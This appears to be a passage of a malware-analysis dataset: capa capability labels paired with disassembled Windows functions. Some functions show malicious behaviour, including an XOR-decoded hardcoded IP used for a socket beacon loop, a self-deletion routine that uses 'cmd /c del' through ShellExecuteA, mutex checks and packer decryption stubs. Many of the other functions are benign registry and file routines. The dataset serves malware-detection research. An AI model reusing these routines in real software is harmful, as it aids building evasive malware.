joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402900
Capabilities:
Encode data using xor
Initialize winsock library
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1a4
push ebx
push esi
push edi
lea eax, [esp + 0x20]
push eax
push 0x101
xor edi, edi
mov dword [esp + 0x18], 0xea60
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x4029fa
cmp byte [str.165.194.123.67], 0
mov eax, str.165.194.123.67
je 0x40294c
mov ecx, eax
xor byte [eax], 0xf
inc ecx
cmp byte [ecx], 0
mov eax, ecx
jne 0x402941
xor esi, esi
mov edi, edi
mov edx, dword [esi*4 + 0x405024]
mov ecx, esi
shl ecx, 4
sub ecx, esi
lea eax, [ecx*2 + str.165.194.123.67]
push edx
call fcn.00401450
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x4029af
inc edi
cmp edi, 3
jle 0x40299a
inc esi
xor edi, edi
cmp esi, 1
jne 0x40299a
mov eax, 0xa4cb80
push eax
xor esi, esi
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp + 0x10], 0xea60
jmp 0x402950
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp + 0x10], 0xea60
jmp 0x402950
push ebx
call fcn.004022c0
add esp, 4
call fcn.004018e0
test eax, eax
jne 0x4029c4
inc edi
jmp 0x402950
push ebx
call fcn.00402870
add esp, 4
push 0
push 0xa
lea eax, [esp + 0x1c]
push eax
push ebx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jne 0x4029e8
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [0x405028]
push ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402950
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x402a20
Capabilities:
Accept command line arguments
Create process on windows
Encode data using xor
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
lea eax, [ebp - 4]
push eax
mov eax, esi
call fcn.004011d0
mov ecx, dword [ebp - 4]
mov edi, eax
push ecx
call fcn.00401870
add esp, 8
push str._run
push esi
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
jne 0x402abf
mov edx, dword [edi]
push edx
lea eax, [ebp - 0x418]
push str._c_del__q___s_____NUL
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
call fcn.00401eb0
push str.l5Sxfak_xSvjb_Slbk_jwj
lea ecx, [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp byte [ebp - 0x18], 0
lea eax, [ebp - 0x18]
je 0x402a9e
mov ecx, eax
xor byte [eax], 0xf
inc ecx
cmp byte [ecx], 0
mov eax, ecx
jne 0x402a93
push 0
push 0
lea edx, [ebp - 0x418]
push edx
lea eax, [ebp - 0x18]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.MUTEX394039_4830023
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
pop edi
pop esi
test eax, eax
jne 0x402ab7
push str.MUTEX394039_4830023
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call fcn.00402900
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4076c4
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x42600c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x208
xor edi, edi
mov dword [ebp - 0x210], ecx
lea eax, [ebp - 0x20c]
mov esi, edx
push edi
push eax
call fcn.004095f0
add esp, 0xc
lea ecx, [ebp - 0x20c]
call fcn.004072b0
lea eax, [ebp - 0x20c]
push eax
push edi
push 4
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
mov ebx, eax
test ebx, ebx
jne 0x407756
push ecx
push str.ReadSharedMemory__:
push ecx
mov edi, 0x82
mov ecx, esi
mov edx, edi
call fcn.00403b0e
lea ecx, [esi + 0x208]
mov edx, edi
push ecx
push str.Could_not_open_file_mapping_object.
push ecx
call fcn.00403b0e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esi + 0x410], eax
xor eax, eax
jmp 0x407820
push 0x1e78
push edi
push edi
push 4
push ebx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov edi, eax
test edi, edi
jne 0x4077aa
push ecx
push str.ReadSharedMemory__:
push ecx
mov edi, 0x82
mov ecx, esi
mov edx, edi
call fcn.00403b0e
lea ecx, [esi + 0x208]
mov edx, edi
push ecx
push str.Could_not_map_view_of_file.
push ecx
call fcn.00403b0e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
mov dword [esi + 0x410], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40774f
mov eax, dword [ebp - 0x210]
test eax, eax
jne 0x4077c6
call fcn.0040d306
mov dword [eax], 0x16
call fcn.0040d23a
jmp 0x4077d5
push 0x1034
push edi
push eax
call fcn.00408e00
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
push str.ReadSharedMemory__:
push ecx
mov edx, 0x82
mov ecx, esi
call fcn.00403b0e
lea eax, [ebp - 0x20c]
push eax
push str.succeeded._mapping_obj_name:__s
lea eax, [esi + 0x208]
push 0x104
push eax
call fcn.00406b11
and dword [esi + 0x410], 0
xor eax, eax
add esp, 0x10
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00407989
leave
ret

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
mov ecx, 0x651f1fc8
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x433024
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x30412913
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
add eax, 4
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x43306c
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x403d6f
sub eax, 0x403d15
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp loc.00401219
Function at 0x4035ac
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x4a9008], 0x8088405
inc edx
mov dword [ebx + 0x4a9008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x41d2ec
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push ebp
mov esi, dword [ebp - 4]
mov edi, dword [ebp - 8]
cld
mov dl, 0x80
mov al, byte [esi]
add esi, 1
mov byte [edi], al
add edi, 1
mov ebx, 2
add dl, dl
jne 0x41d31d
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41d305
add dl, dl
jne 0x41d328
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41d379
xor eax, eax
add dl, dl
jne 0x41d335
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41d416
add dl, dl
jne 0x41d344
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41d34f
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41d35a
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41d365
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x41d36f
mov ebx, edi
sub ebx, eax
mov al, byte [ebx]
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x41d314
mov eax, 1
add dl, dl
jne 0x41d387
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41d392
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41d37e
sub eax, ebx
mov ebx, 1
jne 0x41d3c5
mov ecx, 1
add dl, dl
jne 0x41d3ab
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x41d3b6
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41d3a2
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x41d314
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x41d3dc
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x41d3e7
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41d3d3
cmp eax, 0x7d00
sbb ecx, 0xffffffff
cmp eax, 0x500
sbb ecx, 0xffffffff
cmp eax, 0x80
adc ecx, 0
cmp eax, 0x80
adc ecx, 0
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x41d314
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x41d437
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x41d314
pop ebp
sub edi, dword [ebp - 8]
mov dword [ebp - 0xc], edi
pop edi
pop esi
pop ebx
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x41f504
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov ebx, edx
xor edx, edx
push ebp
push 0x48c9f2
push dword fs:[edx]
mov dword fs:[edx], esp
xor edx, edx
mov dword [ebp - 8], edx
mov esi, ebx
xor ecx, ecx
cmp byte [eax + 0x6a], 0
je 0x41f553
mov eax, ebx
xor edx, edx
push edx
push eax
mov eax, dword [esi + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edx, dword [eax + 0x88]
test edx, edx
je 0x41f572
mov ecx, edx
add ecx, ebx
jmp 0x41f572
mov eax, ebx
xor edx, edx
push edx
push eax
mov eax, dword [esi + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edx, dword [eax + 0x78]
test edx, edx
je 0x41f572
mov ecx, edx
add ecx, ebx
test ecx, ecx
je 0x41f5e4
mov esi, dword [ecx + 0x18]
mov eax, dword [ecx + 0x1c]
add eax, ebx
mov dword [ebp - 0x10], eax
mov edi, dword [ecx + 0x20]
add edi, ebx
mov eax, dword [ecx + 0x24]
add eax, ebx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
cmp eax, 0xffff
jbe 0x41f5cd
test esi, esi
jbe 0x41f5e4
mov eax, dword [edi]
add eax, ebx
mov edx, dword [ebp - 4]
call fcn.004088f4
test eax, eax
jne 0x41f5bf
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
shl eax, 2
add eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 8], eax
jmp 0x41f5e4
add dword [ebp - 0xc], 2
add edi, 4
dec esi
test esi, esi
ja 0x41f59c
jmp 0x41f5e4
mov edx, eax
sub edx, dword [ecx + 0x10]
cmp edx, dword [ecx + 0x14]
jae 0x41f5e4
mov eax, edx
shl eax, 2
add eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48c9f9
ret
Function at 0x420750
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov word [ebp - 4], cx
mov byte [ebp - 1], dl
xor eax, eax
push ebp
push 0x48dd6b
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 8]
call fcn.00404cd0
xor ebx, ebx
mov eax, ebx
and eax, 0x80000001
jns 0x42078b
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x4207a4
lea eax, [ebp - 0x10]
mov edx, dword [0x4ab73c]
mov edx, dword [edx]
mov edx, dword [edx + 0x14]
call fcn.00404d30
jmp 0x4207b7
lea eax, [ebp - 0x10]
mov edx, dword [0x4ab73c]
mov edx, dword [edx]
mov edx, dword [edx + 0x18]
call fcn.00404d30
lea eax, [ebp - 0x10]
mov edx, ebx
sar edx, 1
jns 0x4207c3
adc edx, 0
mov edx, dword [edx*4 + 0x4aa538]
call fcn.00404f20
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp - 0x10]
call fcn.00404f04
push eax
call fcn.00406b1c
mov esi, eax
cmp esi, 0xffffffff
je 0x42093d
mov eax, 0x40
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0x40
push edi
push esi
call fcn.00406d8c
test eax, eax
je 0x420930
mov eax, edi
cmp word [eax], 0x5a4d
jne 0x420930
push 0
push 0
mov eax, dword [eax + 0x3c]
push eax
push esi
call fcn.00406dec
mov eax, edi
call fcn.00403288
mov eax, 0x18
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0x18
push edi
push esi
call fcn.00406d8c
test eax, eax
je 0x420930
mov eax, edi
cmp dword [eax], 0x4550
jne 0x420930
add eax, 4
mov dword [ebp - 0xc], eax
cmp byte [ebp - 1], 0
je 0x4208ce
mov eax, dword [ebp - 0xc]
cmp word [eax], 0x8664
jne 0x4208ce
mov eax, edi
call fcn.00403288
mov eax, 0xf0
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0xf0
push edi
push esi
call fcn.00406d8c
test eax, eax
je 0x4208ce
mov eax, edi
mov dx, word [eax + 0x44]
cmp dx, word [ebp - 4]
jne 0x4208ce
mov eax, dword [eax + 0x10]
mov edx, dword [ebp + 0xc]
mov dword [edx], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
call fcn.00404d0c
cmp byte [ebp - 1], 0
jne 0x420930
mov eax, dword [ebp - 0xc]
cmp word [eax], 0x14c
jb 0x420930
mov eax, dword [ebp - 0xc]
cmp word [eax], 0x150
ja 0x420930
mov eax, edi
call fcn.00403288
mov eax, 0xe0
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0xe0
push edi
push esi
call fcn.00406d8c
test eax, eax
je 0x420930
mov eax, edi
mov dx, word [eax + 0x44]
cmp dx, word [ebp - 4]
jne 0x420930
mov eax, dword [eax + 0x10]
mov edx, dword [ebp + 0xc]
mov dword [edx], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
call fcn.00404d0c
mov eax, edi
call fcn.00403288
push esi
call fcn.00406ad4
mov eax, dword [ebp + 8]
mov eax, dword [eax]
xor edx, edx
call fcn.0040502c
jne 0x420955
inc ebx
cmp ebx, 0x19
jne 0x42077d
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48dd72
lea eax, [ebp - 0x10]
call fcn.00404cd0
ret
Function at 0x1000dd1b
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov ebx, ecx
mov dword [ebp - 8], 4
push esi
xor esi, esi
push edi
mov dword [ebp - 4], esi
cmp dword [ebx + 0x78], esi
je 0x1000dd57
mov eax, dword [ebp + 8]
mov ecx, dword [ebx + 0x70]
mov dword [eax], ecx
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jne 0x10025fdc
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 8
lea ecx, [ebx + 0x54]
call fcn.1000e78b
test eax, eax
je 0x1000dd39
cmp dword [ebx + 0x78], esi
jne 0x1000de22
mov eax, dword [ebx]
mov edi, esp
mov esi, dword [eax + 0xc]
mov ecx, esi
call dword [0x100462b8]
mov ecx, ebx
call esi
cmp edi, esp
je 0x1000dd8a
mov ecx, 4
int 0x29
mov dword [ebx + 0x70], eax
lea eax, [ebp - 4]
push eax
xor eax, eax
cmp byte [ebx + 0x7c], al
setne al
dec eax
and eax, 0xfffffe00
add eax, 0x20219
push eax
push 0
push 0x10005b50
push 0x80000002
call dword [sym.imp.api_ms_win_downlevel_advapi32_l1_1_0.dll_RegOpenKeyExW]
test eax, eax
jne 0x1000de22
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebx]
push 0
mov edi, esp
mov esi, dword [eax + 4]
mov ecx, esi
call dword [0x100462b8]
mov ecx, ebx
call esi
cmp edi, esp
je 0x1000dde7
mov ecx, 4
int 0x29
push eax
push dword [ebp - 4]
call dword [sym.imp.api_ms_win_downlevel_advapi32_l1_1_0.dll_RegQueryValueExW]
test eax, eax
jne 0x1000de19
cmp dword [ebp - 0xc], 4
jne 0x1000de19
mov eax, dword [ebp - 0x10]
mov ecx, eax
and ecx, 0xf
cmp ecx, 4
ja 0x1000de19
mov dword [ebx + 0x70], ecx
xor ecx, ecx
inc ecx
shr eax, 0x13
and eax, ecx
mov dword [ebx + 0x78], ecx
mov dword [ebx + 0x74], eax
push dword [ebp - 4]
call dword [sym.imp.api_ms_win_downlevel_advapi32_l1_1_0.dll_RegCloseKey]
lea ecx, [ebx + 0x54]
call fcn.10041106
jmp 0x1000dd39
mov eax, dword [ebx + 0x74]
mov dword [ecx], eax
jmp 0x1000dd4c
Function at 0x1000e1c1
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x100450f8]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
push 0x38
push 8
mov dword [ebp - 0x214], ecx
mov dword [ebp - 0x210], edi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
xor ebx, ebx
test eax, eax
je 0x10026036
mov ecx, eax
call fcn.1000e53a
mov esi, eax
test esi, esi
je 0x1000e2b8
mov dword [esi + 0x24], 4
mov eax, dword [edi]
mov dword [esi + 0x18], eax
cmp dword [edi + 4], ebx
je 0x1000e2cb
push dword [edi + 4]
call dword [sym.imp.api_ms_win_downlevel_shlwapi_l1_1_0.dll_StrDupW]
mov dword [esi + 4], eax
test eax, eax
je 0x1000e281
push 0x104
lea eax, [ebp - 0x20c]
push eax
push dword [edi + 0xc]
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov edi, eax
test edi, edi
je 0x1000e27b
cmp edi, 0x104
ja 0x1000e27b
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.api_ms_win_downlevel_shlwapi_l1_1_0.dll_StrDupW]
mov dword [esi], eax
test eax, eax
je 0x1000e27b
push 0x5c
pop ecx
cmp cx, word [eax + edi*2 - 2]
je 0x1000e2e7
mov bl, 1
mov edi, dword [ebp - 0x210]
cmp dword [edi + 0x10], 0
jne 0x1002603d
test bl, bl
je 0x1000e2a3
mov eax, dword [ebp - 0x214]
push esi
add eax, 4
push eax
call fcn.1000e2f0
test eax, eax
jne 0x1000e2b8
mov ecx, esi
call fcn.1000e569
mov ecx, esi
call fcn.1000e569
push esi
call fcn.1000e5bb
pop ecx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10023280
mov esp, ebp
pop ebp
ret 8
push dword [edi + 8]
call dword [sym.imp.api_ms_win_downlevel_shlwapi_l1_1_0.dll_StrDupW]
mov dword [esi + 8], eax
cmp dword [edi + 0x10], ebx
jne 0x1002604e
cmp dword [esi + 8], ebx
jne 0x1000e28f
jmp 0x1000e28b
xor ecx, ecx
mov word [eax + edi*2 - 2], cx
jmp 0x1000e279
mov esi, ebx
jmp 0x1000e20c
push dword [edi + 0x10]
call dword [sym.imp.api_ms_win_downlevel_shlwapi_l1_1_0.dll_StrDupW]
mov dword [esi + 0x10], eax
jmp 0x1000e28b
push dword [edi + 0x10]
call dword [sym.imp.api_ms_win_downlevel_shlwapi_l1_1_0.dll_StrDupW]
mov dword [esi + 0x10], eax
jmp 0x1000e2e0
Function at 0x1000e333
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x100450f8]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push esi
push edi
mov dword [ebp - 0x218], edx
xor edi, edi
lea edx, [ebp - 0x214]
mov dword [ebp - 0x214], 0x208
push edx
lea edx, [ebp - 0x20c]
push edx
lea edx, [ebp - 0x210]
push edx
push edi
push eax
push ecx
call dword [sym.imp.api_ms_win_downlevel_advapi32_l1_1_0.dll_RegQueryValueExW]
mov esi, eax
test esi, esi
je 0x1000e3a5
mov eax, dword [ebp - 0x218]
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov dword [eax], edi
mov eax, esi
pop edi
pop esi
call fcn.10023280
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebp - 0x210], 1
push 2
pop edx
jne 0x1000e40d
push ebx
mov ebx, dword [ebp - 0x214]
xor ecx, ecx
shr ebx, 1
lea eax, [ebx + 1]
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
push 8
pop esi
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
je 0x1000e407
lea eax, [ebp - 0x20c]
mov ecx, edi
push eax
lea edx, [ebx + 1]
call fcn.1000e4a6
mov esi, eax
and eax, 0x1fff0000
cmp eax, 0x70000
je 0x1000e41d
test esi, esi
jne 0x1002605f
pop ebx
jmp 0x1000e389
cmp dword [ebp - 0x210], edx
je 0x1000e3b1
push 5
pop esi
jmp 0x1000e389
movzx esi, si
jmp 0x1000e3ff
push edi
call fcn.1000e5bb
pop ecx
xor edi, edi
jmp 0x1000e407

Function at 0x1000e5da
Capabilities:
Check mutex on windows

Disassembly:
mov edi, edi
push esi
xor esi, esi
cmp dword [0x10045bf0], esi
je 0x1000e5eb
mov eax, esi
pop esi
ret
push 0x10005bb0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x10045bf0], eax
test eax, eax
je 0x100260c0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x1000e62a
push dword [0x10045bf0]
call dword [sym.imp.iertutil.dll_Ordinal_50]
mov esi, eax
test esi, esi
js 0x100260a8
push 0xffffffffffffffff
push dword [0x10045bf0]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x1002607f
sub esp, 0x10
mov ecx, 0x10045bf4
call fcn.1000e6e0
push dword [0x10045bf0]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
test esi, esi
jns 0x1000e5e7
jmp 0x100260a8
cmp eax, 0x80
je 0x1000e640
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x1000e65d
movzx esi, si
or esi, 0x80070000
jmp 0x1000e65b
push dword [0x10045bf0]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
and dword [0x10045bf0], 0
jmp 0x1000e5e7
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x1000e5e7
movzx esi, si
or esi, 0x80070000
jmp 0x1000e5e7

Function at 0x1000e771
Capabilities:
Check if file exists
Get file attributes

Disassembly:
test ecx, ecx
je 0x1000e788
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1000e788
test al, 0x10
jne 0x1000e788
mov al, 1
ret
xor al, al
ret
Function at 0x1000e86d
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x268
mov eax, dword [0x100450f8]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x268]
mov dword [ebp - 0x268], 0x4e
push eax
lea eax, [ebp - 0x54]
xor ebx, ebx
push eax
push ebx
push ebx
push 0x10006588
push dword [ecx]
mov dword [ebp - 0x260], ebx
call dword [sym.imp.api_ms_win_downlevel_advapi32_l1_1_0.dll_RegQueryValueExW]
push 2
mov esi, eax
pop edi
sub esi, edi
neg esi
sbb esi, esi
and esi, 0x80004005
test eax, eax
je 0x100261c0
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10023280
mov esp, ebp
pop ebp
ret
push 0x100085b0
mov edx, 0x104
lea ecx, [ebp - 0x25c]
call fcn.1000e4a6
mov esi, eax
test esi, esi
js 0x1000e8ca
lea eax, [ebp - 0x54]
push eax
lea ecx, [ebp - 0x25c]
call fcn.1004181f
mov esi, eax
test esi, esi
js 0x1000e8ca
lea eax, [ebp - 0x260]
mov esi, 0x80004005
push eax
push 0x20019
push ebx
lea eax, [ebp - 0x25c]
push eax
push 0x80000000
call dword [sym.imp.api_ms_win_downlevel_advapi32_l1_1_0.dll_RegOpenKeyExW]
test eax, eax
jne 0x100262e2
lea eax, [ebp - 0x264]
mov dword [ebp - 0x264], ebx
push eax
push ebx
push ebx
push ebx
push 0x1000cd98
push dword [ebp - 0x260]
call dword [sym.imp.api_ms_win_downlevel_advapi32_l1_1_0.dll_RegQueryValueExW]
push ebx
push ebx
push ebx
push ebx
test eax, eax
jne 0x100262b8
push 0x1000cda4
push dword [ebp - 0x260]
call dword [sym.imp.api_ms_win_downlevel_advapi32_l1_1_0.dll_RegQueryValueExW]
cmp eax, edi
jne 0x100262d1
push dword [ebp - 0x264]
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
je 0x100262d1
lea eax, [ebp - 0x264]
push eax
push edi
push ebx
push ebx
push 0x1000cd98
push dword [ebp - 0x260]
call dword [sym.imp.api_ms_win_downlevel_advapi32_l1_1_0.dll_RegQueryValueExW]
test eax, eax
jne 0x100262af
push 0x100085c0
push edi
call sub.msvcrt.dll__wcsicmp
neg eax
pop ecx
sbb eax, eax
pop ecx
and esi, eax
mov ecx, edi
call fcn.1002bcde
jmp 0x100262d1
push 0x1000cdc8
push dword [ebp - 0x260]
call dword [sym.imp.api_ms_win_downlevel_advapi32_l1_1_0.dll_RegQueryValueExW]
sub eax, edi
neg eax
sbb eax, eax
and esi, eax
push dword [ebp - 0x260]
call dword [sym.imp.api_ms_win_downlevel_advapi32_l1_1_0.dll_RegCloseKey]
jmp 0x1000e8ca
sub eax, edi
neg eax
sbb eax, eax
and esi, eax
jmp 0x1000e8ca